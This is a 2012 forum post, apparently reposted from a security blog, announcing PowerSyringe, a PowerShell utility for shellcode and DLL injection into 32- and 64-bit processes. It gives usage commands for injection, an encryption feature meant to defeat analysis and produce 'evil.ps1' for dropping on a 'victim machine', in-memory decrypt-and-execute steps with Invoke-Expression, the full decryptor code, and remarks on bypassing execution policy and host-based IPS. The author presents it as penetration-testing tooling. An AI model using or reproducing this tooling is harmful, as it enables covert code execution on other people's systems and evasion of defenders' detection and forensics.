ionut97 Posted June 18, 2012 Report Posted June 18, 2012 Download Link: PowerSyringe.ps1So I decided to expand upon my previous post and create a slightly more full-featured Powershell-based code/DLL injection utility. Behold, PowerSyringe. As the name implies, I based some of the code on the original Syringe toolkit. I added several features though - specifically, 64-bit support and encryption. Here is a rundown of its features: Shellcode injection from within Powershell Shellcode injection into any 32 or 64-bit process DLL injection into any 32 or 64-bit process Encryption - The script can encrypt itself and outputs the encrypted version to .\evil.ps1. This will make analysis of the script impossible/improbable without the correct password and salt (or if they happen to perform live memory forensics). >D Decryption - evil.ps1 will decrypt itself back into its original form if you provide the right password and salt Doesn't flag DEP b/c it doesn't execute in the stack Fairly detailed documentationI’ve tested the tool on several 32 and 64-bit platforms but I would love to get some feedback/feature requests. To execute the script, ensure that your execution policy allows you to execute scripts. If not, no worries. You can simply copy and paste the all of the code into a PowerShell prompt. Then you can run ‘help PowerSyringe -full’ for detailed documentation. There are several other methods for bypassing the execution policy. One of those methods is detailed here.Here is an excerpt of the documentation with usage examples:DLL InjectionC:\PS>PowerSyringe 1 4274 .\evil.dllDescriptionInject 'evil.dll' into process ID 4274.Inject shellcode into processC:\PS>PowerSyringe 2 4274DescriptionInject the shellcode as defined in the script into process ID 4274Execute shellcode within the context of PowerShellC:\PS>PowerSyringe 3DescriptionExecute the shellcode as defined in the script within the context of Powershell.Encrypt the script with the password:'password' and salt:'salty'C:\PS>PowerSyringe 4 .\PowerSyringe.ps1 password saltyDescriptionEncrypt the contents of this file with a password and salt. This will make analysis of the script impossible without the correct password and salt combination. This command will generate evil.ps1 that can dropped onto the victim machine. It only consists of a decryption function 'de' and the base64-encoded ciphertext.Note: This command can be used to encrypt any text-based file/scriptDecrypt encrypted script and execute it in memoryC:\PS>[string] $cmd = Get-Content .\evil.ps1C:\PS>Invoke-Expression $cmdC:\PS>$decrypted = de password saltC:\PS>Invoke-Expression $decryptedDescriptionAfter you run the encryption option and generate evil.ps1 these commands will decrypt and execute(i.e. define the function) PowerSyringe entirely in memory assuming you provided the proper password and salt combination.Upon successful completion of these commands, you can execute PowerSyringe as normal.Note: "Invoke-Expression $decrypted" may generate an error. Just ignore it. PowerSyringe willstill work.This is what evil.ps1 will look like after the encryption function is called:function de([String] $b, [String] $c){# $a (encrypted PowerSyringe.ps1) truncated for sanity$a = "M4g3yq9lTiMC+GTN2qNCRuUg1TFM8bgSvlxl/ENmXWpEIIgrdMq31/Jl025jClm9CcVZz7VIA40TV..."$encoding = New-Object System.Text.ASCIIEncoding;$dd = $encoding.GetBytes("CRACKMEIFYOUCAN!");$aa = [Convert]::FromBase64String($a);$derivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($b, $encoding.GetBytes($c), "SHA1", 2);[Byte[]] $e = $derivedPass.GetBytes(32);$f = New-Object System.Security.Cryptography.RijndaelManaged;$f.Mode = [System.Security.Cryptography.CipherMode]::CBC;[Byte[]] $h = New-Object Byte[]($aa.Length);$g = $f.CreateDecryptor($e, $dd);$i = New-Object System.IO.MemoryStream($aa, $True);$j = New-Object System.Security.Cryptography.CryptoStream($i, $g, [System.Security.Cryptography.CryptoStreamMode]::Read);$r = $j.Read($h, 0, $h.Length);$i.Close();$j.Close();$f.Clear();return $encoding.GetString($h,0,$h.Length);}As you can see, the decryption script is slightly 'obfuscated' if you even want to call it that. It's pretty obvious that it decrypts the $a variable. Unfortunately, anyone performing analysis on this evil script will have no idea what the contents of $a are without the correct password and salt.The primary reason I wrote this was because I had been using Syringe on assessments to bypass host-based IPS systems but I didn't like some of the limitations of Syringe (specifically, no 64-bit support) and I like the idea of performing everything in memory without needing to drop any executables. That being said, I welcome your constructive feedback.Enjoy!Source:Exploit Monday: PowerSyringe - PowerShell-based Code/DLL Injection Utility Quote